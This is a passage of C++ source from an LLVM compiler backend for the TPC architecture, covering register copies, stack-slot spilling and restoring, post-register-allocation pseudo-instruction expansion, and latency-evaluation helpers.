TPC::SPRFRegClass.contains(DestReg);\n bool DstZRF = TPC::ZRFRegClass.contains(DestReg);\n bool DstARF = TPC::ARFRegClass.contains(DestReg);\n bool DstDRF = TPC::DRFRegClass.contains(DestReg);\n bool DstADRF = TPC::ADRFRegClass.contains(DestReg);\n bool DstHSRF = TPC::HSRFRegClass.contains(DestReg);\n\n bool SrcVRF = TPC::VRFRegClass.contains(SrcReg);\n bool SrcSRF = TPC::SRFRegClass.contains(SrcReg);\n bool SrcIRF = TPC::IRFRegClass.contains(SrcReg);\n bool SrcVPRF = TPC::VPRFRegClass.contains(SrcReg);\n bool SrcSPRF = TPC::SPRFRegClass.contains(SrcReg);\n bool SrcZRF = TPC::ZRFRegClass.contains(SrcReg);\n bool SrcARF = TPC::ARFRegClass.contains(SrcReg);\n bool SrcDRF = TPC::DRFRegClass.contains(SrcReg);\n bool SrcADRF = TPC::ADRFRegClass.contains(SrcReg);\n\n if (SrcSRF && DstSRF) {\n CopyRegWithDataType(TPC::MOVssp);\n return;\n }\n if (SrcZRF && DstZRF) {\n CopySubRegWithDataType(TPC::MOVssp, TPC::sub_s0);\n CopySubRegWithDataType(TPC::MOVssp, TPC::sub_s1);\n return;\n }\n if (SrcIRF && DstIRF) {\n BuildMI(MBB, I, DL, get(TPC::MOVIIp), DestReg)\n .addReg(SrcReg, getKillRegState(KillSrc))\n .addImm(31) // Mask\n .addImm(0) // Switches\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n return;\n }\n if (SrcSPRF && DstSPRF) {\n CopyReg(TPC::MOVppp);\n return;\n }\n\n if (SrcVPRF && DstVPRF) {\n CopyReg(TPC::MOVmmp);\n return;\n }\n if (SrcVRF && DstVRF) {\n CopyReg(TPC::MOVvvp);\n return;\n }\n\n if (SrcARF && DstARF) {\n CopySubReg(TPC::MOVvvp, TPC::sub_0);\n CopySubReg(TPC::MOVvvp, TPC::sub_1);\n CopySubReg(TPC::MOVvvp, TPC::sub_2);\n CopySubReg(TPC::MOVvvp, TPC::sub_3);\n return;\n }\n if (SrcDRF && DstDRF) {\n CopySubReg(TPC::MOVvvp, TPC::sub_0);\n CopySubReg(TPC::MOVvvp, TPC::sub_1);\n return;\n }\n if (SrcSRF && DstVRF) {\n CopyRegWithDataType(TPC::MOVvsp);\n return;\n }\n\n RegScavenger RS;\n RS.enterBasicBlock(MBB);\n RS.forward(I);\n\n MachineRegisterInfo &MRI = MBB.getParent()->getRegInfo();\n\n assert(false && \"Incorrect register combination in COPY\");\n report_fatal_error(\"Cannot copy phys reg\");\n}\n\nvoid TPCInstrInfo::\nstoreRegToStackSlot(MachineBasicBlock &MBB, MachineBasicBlock::iterator I,\n unsigned SrcReg, bool isKill, int FrameIndex,\n const TargetRegisterClass *RC,\n const TargetRegisterInfo *TRI) const {\n DebugLoc DL = MBB.findDebugLoc(I);\n MachineFunction *MF = MBB.getParent();\n MachineFrameInfo &FrameInfo = MF->getFrameInfo();\n\n // Determine save command code.\n int StoreOpCode = 0;\n uint8_t StackID = 0;\n if (TPC::SRFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_SRF_SAVE;\n StackID = TPCStackID::SLM_SPILL;\n } else if (TPC::SPRFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_SPRF_SAVE;\n StackID = TPCStackID::SLM_SPILL;\n } else if (TPC::VRFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_VRF_SAVE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::VPRFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_VPRF_SAVE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::ARFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_ARF_SAVE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::DRFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_DRF_SAVE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::ZRFRegClass.hasSubClassEq(RC)) {\n StoreOpCode = TPC::SPILL_ZRF_SAVE;\n StackID = TPCStackID::SLM_SPILL;\n } else if (TPC::IRFRegClass.hasSubClassEq(RC)) {\n if (Subtarget.getTargetLowering()->getTargetMachine().Options.LongIRF)\n report_fatal_error(\"IRF registers are not spillable if -long-irf is specified\");\n StoreOpCode = TPC::SPILL_IRF_SAVE;\n StackID = TPCStackID::SLM_SPILL;\n } else {\n report_fatal_error(\"Unsupported register class in StoreToStack\");\n }\n\n FrameInfo.setStackID(FrameIndex, StackID);\n BuildMI(MBB, I, DL, get(StoreOpCode))\n .addFrameIndex(FrameIndex)\n .addReg(SrcReg, getKillRegState(isKill));\n}\n\nvoid TPCInstrInfo::\nloadRegFromStackSlot(MachineBasicBlock &MBB, MachineBasicBlock::iterator I,\n unsigned DestReg, int FrameIndex,\n const TargetRegisterClass *RC,\n const TargetRegisterInfo *TRI) const {\n DebugLoc DL = MBB.findDebugLoc(I);\n MachineFunction *MF = MBB.getParent();\n MachineFrameInfo &FrameInfo = MF->getFrameInfo();\n\n // Determine load command code.\n int LoadOpCode = 0;\n uint8_t StackID = 0;\n if (TPC::SRFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_SRF_RESTORE;\n StackID = TPCStackID::SLM_SPILL;\n } else if (TPC::SPRFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_SPRF_RESTORE;\n StackID = TPCStackID::SLM_SPILL;\n } else if (TPC::VRFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_VRF_RESTORE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::VPRFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_VPRF_RESTORE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::ARFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_ARF_RESTORE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::DRFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_DRF_RESTORE;\n StackID = TPCStackID::VLM_SPILL;\n } else if (TPC::ZRFRegClass.hasSubClassEq(RC)) {\n LoadOpCode = TPC::SPILL_ZRF_RESTORE;\n StackID = TPCStackID::SLM_SPILL;\n } else if (TPC::IRFRegClass.hasSubClassEq(RC)) {\n if (Subtarget.getTargetLowering()->getTargetMachine().Options.LongIRF)\n report_fatal_error(\"IRF registers are not spillable if -long-irf is specified\");\n LoadOpCode = TPC::SPILL_IRF_RESTORE;\n StackID = TPCStackID::SLM_SPILL;\n } else {\n report_fatal_error(\"Unsupported register class in loadFromStack\");\n }\n\n FrameInfo.setStackID(FrameIndex, StackID);\n BuildMI(MBB, I, DL, get(LoadOpCode), DestReg)\n .addFrameIndex(FrameIndex);\n}\n\nBitVector TPCInstrInfo::findAvailableReg(MachineInstr &MI, const TargetRegisterClass * RC) const {\n const TargetRegisterInfo &TRI = getRegisterInfo();\n MachineBasicBlock &MBB = *MI.getParent();\n RegScavenger RS;\n\n RS.enterBasicBlock(MBB);\n RS.forward(MI);\n\n BitVector Candidates =\n TRI.getAllocatableSet(*MBB.getParent(), RC);\n\n // Exclude all the registers being used by the instruction.\n for (MachineOperand &MO : MI.operands()) {\n if (MO.isReg() && MO.getReg() != 0 && !MO.isDef() &&\n !MO.getReg().isVirtual())\n Candidates.reset(MO.getReg());\n }\n\n BitVector Available = RS.getRegsAvailable(RC);\n Available &= Candidates;\n\n return Available;\n}\n\nBitVector TPCInstrInfo::findAvailableSRF(MachineInstr &MI) const {\n return findAvailableReg(MI, &TPC::SRFRegClass);\n}\n\nBitVector TPCInstrInfo::findAvailableVRF(MachineInstr &MI) const {\n return findAvailableReg(MI, &TPC::VRFRegClass);\n}\n\nbool TPCInstrInfo::expandPostRAPseudo(MachineInstr &MI) const {\n MachineBasicBlock &MBB = *MI.getParent();\n const TargetRegisterInfo &TRI = getRegisterInfo();\n DebugLoc DL = MI.getDebugLoc();\n\n switch (MI.getOpcode()) {\n default:\n break;\n\n // Process load instructions.\n case TPC::SPILL_SRF_RESTORE: {\n unsigned DestReg = MI.getOperand(0).getReg();\n unsigned Offset = MI.getOperand(1).getImm();\n BuildMI(MBB, MI, DL, get(TPC::LD_Lsip), DestReg)\n .addImm(Offset)\n .addImm(0)\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_SPRF_RESTORE: {\n unsigned Offset = MI.getOperand(1).getImm();\n BuildMI(MBB, MI, DL, get(TPC::LD_Lpip), MI.getOperand(0).getReg())\n .addImm(Offset)\n .addImm(0)\n .addReg(MI.getOperand(0).getReg(), RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_IRF_RESTORE: {\n BitVector Available = findAvailableSRF(MI);\n int regsFound = 0;\n unsigned sRegs[5];\n for (int i=0; i<5; i++) {\n signed Reg = Available.find_first();\n if (Reg != -1) {\n sRegs[i] = Reg;\n Available.reset(Reg);\n regsFound++;\n }\n }\n if (regsFound == 0) {\n llvm_unreachable(\"Cannot load IRF\");\n }\n //dbgs() << \" === regsFound: \" << regsFound << \"\\n\";\n for (int k = regsFound; k < 5; k++) {\n sRegs[k] = sRegs[k-regsFound];\n }\n unsigned DestReg = MI.getOperand(0).getReg();\n unsigned Offset = MI.getOperand(1).getImm();\n for (int k = 0; k < regsFound; k++) {\n BuildMI(MBB, MI, DL, get(TPC::LD_Lsip), sRegs[k])\n .addImm(Offset + k*4)\n .addImm(0)\n .addReg(sRegs[k], RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(MBB, MI, DL, get(TPC::SET_INDX_spu_rp), DestReg)\n .addReg(DestReg, (k == 0) ? RegState::Undef : 0)\n .addReg(sRegs[k], RegState::Kill)\n .addImm(1LL << k)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_VPRF_RESTORE:\n if (Subtarget.hasAddr1()) {\n unsigned DestReg = MI.getOperand(0).getReg();\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vmip), DestReg)\n .addImm(MI.getOperand(1).getImm())\n .addImm(0)\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n unsigned DestReg = MI.getOperand(0).getReg();\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vmsip), DestReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(MI.getOperand(1).getImm())\n .addImm(0)\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n case TPC::SPILL_VRF_RESTORE: {\n unsigned DestReg = MI.getOperand(0).getReg();\n unsigned Offset = MI.getOperand(1).getImm();\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), DestReg)\n .addImm(Offset)\n .addImm(0)\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), MI.getOperand(0).getReg())\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset)\n .addImm(0)\n .addReg(DestReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_ZRF_RESTORE: {\n unsigned Offset = MI.getOperand(1).getImm();\n unsigned DestReg = MI.getOperand(0).getReg();\n unsigned SubReg = TRI.getSubReg(DestReg, TPC::sub_s0);\n BuildMI(MBB, MI, DL, get(TPC::LD_Lsip), SubReg)\n .addImm(Offset)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_s1);\n BuildMI(MBB, MI, DL, get(TPC::LD_Lsip), SubReg)\n .addImm(Offset + 4)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_DRF_RESTORE: {\n unsigned Offset = MI.getOperand(1).getImm();\n unsigned DestReg = MI.getOperand(0).getReg();\n unsigned SubReg = TRI.getSubReg(DestReg, TPC::sub_0);\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), SubReg)\n .addImm(Offset)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), SubReg)\n .addImm(Offset + 256)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), SubReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), SubReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 256)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_ARF_RESTORE: {\n unsigned Offset = MI.getOperand(1).getImm();\n unsigned DestReg = MI.getOperand(0).getReg();\n unsigned SubReg = TRI.getSubReg(DestReg, TPC::sub_0);\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), SubReg)\n .addImm(Offset)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), SubReg)\n .addImm(Offset + 256)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_2);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), SubReg)\n .addImm(Offset + 512)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_3);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvip), SubReg)\n .addImm(Offset + 768)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), SubReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), SubReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 256)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_2);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), SubReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 512)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(DestReg, TPC::sub_3);\n BuildMI(MBB, MI, DL, get(TPC::LD_L_Vvsip), SubReg)\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 768)\n .addImm(0)\n .addReg(SubReg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n\n // Process save instructions.\n case TPC::SPILL_SRF_SAVE: {\n unsigned Offset = MI.getOperand(0).getImm();\n BuildMI(MBB, MI, DL, get(TPC::ST_Lisp))\n .addImm(Offset)\n .addReg(MI.getOperand(1).getReg(),\n MI.getOperand(1).isKill() ? RegState::Kill : 0)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_SPRF_SAVE: {\n unsigned Offset = MI.getOperand(0).getImm();\n BuildMI(MBB, MI, DL, get(TPC::ST_Lipp))\n .addImm(Offset)\n .addReg(MI.getOperand(1).getReg(),\n MI.getOperand(1).isKill() ? RegState::Kill : 0)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_IRF_SAVE: {\n BitVector Available = findAvailableSRF(MI);\n int regsFound = 0;\n unsigned sRegs[5];\n for (int i=0; i<5; i++) {\n signed Reg = Available.find_first();\n if (Reg != -1) {\n sRegs[i] = Reg;\n Available.reset(Reg);\n regsFound++;\n }\n }\n if (regsFound == 0) {\n llvm_unreachable(\"Cannot store IRF\");\n }\n //dbgs() << \" === regsFound for store: \" << regsFound << \"\\n\";\n for (int k = regsFound; k < 5; k++) {\n sRegs[k] = sRegs[k-regsFound];\n }\n unsigned Offset = MI.getOperand(0).getImm();\n for (int k = 0; k < regsFound; k++) {\n BuildMI(MBB, MI, DL, get(TPC::MOV_IRF_DIM), sRegs[k])\n .addReg(MI.getOperand(1).getReg(), 0)\n .addImm(k) // DIM\n .addImm(0) // SW\n .addReg(sRegs[k], RegState::Undef) // income\n .addReg(TPC::SP0)\n .addImm(0);\n BuildMI(MBB, MI, DL, get(TPC::ST_Lisp))\n .addImm(Offset + k*4)\n .addReg(sRegs[k], RegState::Kill)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_VPRF_SAVE:\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vimp))\n .addImm(MI.getOperand(0).getImm())\n .addReg(MI.getOperand(1).getReg(),\n MI.getOperand(1).isKill() ? RegState::Kill : 0)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsimp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(MI.getOperand(0).getImm())\n .addReg(MI.getOperand(1).getReg(),\n MI.getOperand(1).isKill() ? RegState::Kill : 0)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n case TPC::SPILL_VRF_SAVE: {\n unsigned Offset = MI.getOperand(0).getImm();\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset)\n .addReg(MI.getOperand(1).getReg(),\n MI.getOperand(1).isKill() ? RegState::Kill : 0)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset)\n .addReg(MI.getOperand(1).getReg(),\n MI.getOperand(1).isKill() ? RegState::Kill : 0)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_ZRF_SAVE: {\n unsigned Offset = MI.getOperand(0).getImm();\n unsigned Flags = MI.getOperand(1).isKill() ? RegState::Kill : 0;\n unsigned SrcReg = MI.getOperand(1).getReg();\n unsigned SubReg = TRI.getSubReg(SrcReg, TPC::sub_s0);\n BuildMI(MBB, MI, DL, get(TPC::ST_Lisp))\n .addImm(Offset)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_s1);\n BuildMI(MBB, MI, DL, get(TPC::ST_Lisp))\n .addImm(Offset + 4)\n .addReg(SubReg, Flags);\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_DRF_SAVE: {\n unsigned Offset = MI.getOperand(0).getImm();\n unsigned Flags = MI.getOperand(1).isKill() ? RegState::Kill : 0;\n unsigned SrcReg = MI.getOperand(1).getReg();\n unsigned SubReg = TRI.getSubReg(SrcReg, TPC::sub_0);\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset + 256)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 256)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n case TPC::SPILL_ARF_SAVE: {\n unsigned Offset = MI.getOperand(0).getImm();\n unsigned Flags = MI.getOperand(1).isKill() ? RegState::Kill : 0;\n unsigned SrcReg = MI.getOperand(1).getReg();\n unsigned SubReg = TRI.getSubReg(SrcReg, TPC::sub_0);\n if (Subtarget.hasAddr1()) {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset + 256)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_2);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset + 512)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_3);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vivp))\n .addImm(Offset + 768)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_1);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 256)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_2);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 512)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n SubReg = TRI.getSubReg(SrcReg, TPC::sub_3);\n BuildMI(MBB, MI, DL, get(TPC::ST_L_Vsivp))\n .addReg(Subtarget.getTargetLowering()->getZeroReg())\n .addImm(Offset + 768)\n .addReg(SubReg, Flags)\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n MBB.erase(MI);\n return true;\n }\n }\n\n return false;\n}\n\n// Uncomment this if TPC specific HazardRec is needed before RA\nScheduleHazardRecognizer *\nTPCInstrInfo::CreateTargetMIHazardRecognizer(\n const InstrItineraryData *II, const ScheduleDAGMI *DAG) const {\n return createTPCHazardRecognizer(II, DAG, false);\n}\n\nScheduleHazardRecognizer *\nTPCInstrInfo::CreateTargetPostRAHazardRecognizer(\n const InstrItineraryData *II, const ScheduleDAG *DAG) const {\n return createTPCHazardRecognizer(II, DAG, true);\n}\n\nstatic TPCLatencyEvaluation::IssueSlot convertSlot(unsigned Slot) {\n switch (Slot) {\n case TPCII::TypeVPU: return TPCLatencyEvaluation::e_issue_slot_vpu;\n case TPCII::TypeSPU: return TPCLatencyEvaluation::e_issue_slot_spu;\n case TPCII::TypeLOAD: return TPCLatencyEvaluation::e_issue_slot_load;\n case TPCII::TypeSTORE: return TPCLatencyEvaluation::e_issue_slot_store;\n case TPCII::TypeLOOP: return TPCLatencyEvaluation::e_issue_slot_spu;\n default:\n llvm_unreachable(\"Unexpected slot value\");\n }\n}\n\nstatic TPCLatencyEvaluation::RegisterFile convertReg(const TargetRegisterClass *RC) {\n if (TPC::VRFRegClass.hasSubClassEq(RC) ||\n TPC::ARFRegClass.hasSubClassEq(RC) ||\n TPC::DRFRegClass.hasSubClassEq(RC))\n return TPCLatencyEvaluation::RegisterFile::e_rf_v;\n if (TPC::VPRFRegClass.hasSubClassEq(RC))\n return TPCLatencyEvaluation::RegisterFile::e_rf_vp;\n if (TPC::SRFRegClass.hasSubClassEq(RC) || TPC::ZRFRegClass.hasSubClassEq(RC))\n return TPCLatencyEvaluation::RegisterFile::e_rf_s;\n if (TPC::SPRFRegClass.hasSubClassEq(RC))\n return TPCLatencyEvaluation::RegisterFile::e_rf_sp;\n if (TPC::IRFRegClass.hasSubClassEq(RC))\n return TPCLatencyEvaluation::RegisterFile::e_rf_i;\n if (TPC::ADRFRegClass.hasSubClassEq(RC))\n return TPCLatencyEvaluation::RegisterFile::e_rf_a;\n llvm_unreachable(\"Unexpected register class\");\n}\n\nstatic bool isFloatData(TPCII::OpType X) {\n switch (X) {\n case TPCII::OpType::BF16:\n case TPCII::OpType::FP32:\n return true;\n default:\n return false;\n }\n}\n\nstatic bool isPredicateReg(const TargetRegisterClass *RC) {\n return RC == &TPC::VPRFRegClass || RC == &TPC::SPRFRegClass;\n}\n\nstatic bool isLongRegister(const TargetRegisterClass *RC) {\n return RC == &TPC::ARFRegClass || RC == &TPC::DRFRegClass || RC == &TPC::ZRFRegClass;\n}\n\n\nstatic bool is_convert_instr_with_lane(const MachineInstr &MI) {\n const MCInstrDesc &MC = MI.getDesc();\n unsigned opc = TPCII::getSlotOpCode(MC);\n if (TPCII::isSPUInst(MC)) {\n return opc == TPCII::spuCONVERT_INT32 ||\n opc == TPCII::spuCONVERT_UINT32 ||\n opc == TPCII::spuCONVERT_INT16 ||\n opc == TPCII::spuCONVERT_UINT16;\n }\n if (TPCII::isVPUInst(MC)) {\n return opc == TPCII::vpuCONVERT_INT32 ||\n opc == TPCII::vpuCONVERT_UINT32 ||\n opc == TPCII::vpuCONVERT_INT16 ||\n opc == TPCII::vpuCONVERT_UINT16;\n }\n return false;\n}\n\nstatic unsigned getLaneSel(const MachineInstr &MI) {\n assert(is_convert_instr_with_lane(MI));\n unsigned opNum = 3;\n const MachineOperand &MO = MI.getOperand(opNum);\n assert(MO.isImm());\n return MO.getImm() & 0x3;\n}\n \nstatic TPCLatencyEvaluation::OperandID getOperandId(const TPCSubtarget &Subtarget,\n const MachineInstr &MI,\n const TargetRegisterClass *UseRegClass,\n unsigned UseIdx) {\n const MCInstrDesc &MC = MI.getDesc();\n assert(UseIdx < MC.getNumOperands());\n const MachineOperand &MO = MI.getOperand(UseIdx);\n assert(MO.isReg());\n\n // Some instructions have immediate operand. Check that we do not process it.\n#ifdef _DEBUG\n if (TPCII::getHasImm(MC)) {\n unsigned ImmPos = TPCII::getImmFieldOpNum(MC);\n assert(ImmPos != UseIdx);\n const MachineOperand &MOImm = MI.getOperand(ImmPos);\n assert(MOImm.isImm() || MOImm.isFPImm() || MOImm.isMBB() ||\n MOImm.isBlockAddress());\n }\n#endif\n\n // Process the specific case, when used operand is tied to output.\n if (MO.isTied()) {\n // Fron Ron's letter of 2017-08-24: when accumulator in MAC or MSAC is used\n // as a destination, it is encoded as SRC_C in latency database.\n if (TPCII::getSlotOpCode(MC) == TPCII::vpuMAC &&\n (TPCII::isSPUInst(MC) || TPCII::isVPUInst(MC)))\n return TPCLatencyEvaluation::OperandID::e_src_c;\n if (TPCII::getSlotOpCode(MC) == TPCII::vpuMSAC)\n return TPCLatencyEvaluation::OperandID::e_src_c;\n\n if (TPCII::getSlotOpCode(MC) == TPCII::spuUDIV_STEP && TPCII::isSPUInst(MC))\n return TPCLatencyEvaluation::OperandID::e_src_b;\n\n\n // If the tied operand is an IRF register, calculate the latency using\n // SRC_B or SRC_A depending on the instruction.\n if (UseRegClass == &TPC::IRFRegClass) {\n // SET_INDX is actually an assignment to the IRF register, it does not\n // require knowledge of the value, so there is no write-to-read latency.\n // Return 'e_dst' to indicate this fact.\n if ((TPCII::isSPUInst(MC) && TPCII::getSlotOpCode(MC) == TPCII::spuSET_INDX) ||\n (TPCII::isLoadInst(MC) && TPCII::getSlotOpCode(MC) == TPCII::ldSET_INDX) ||\n 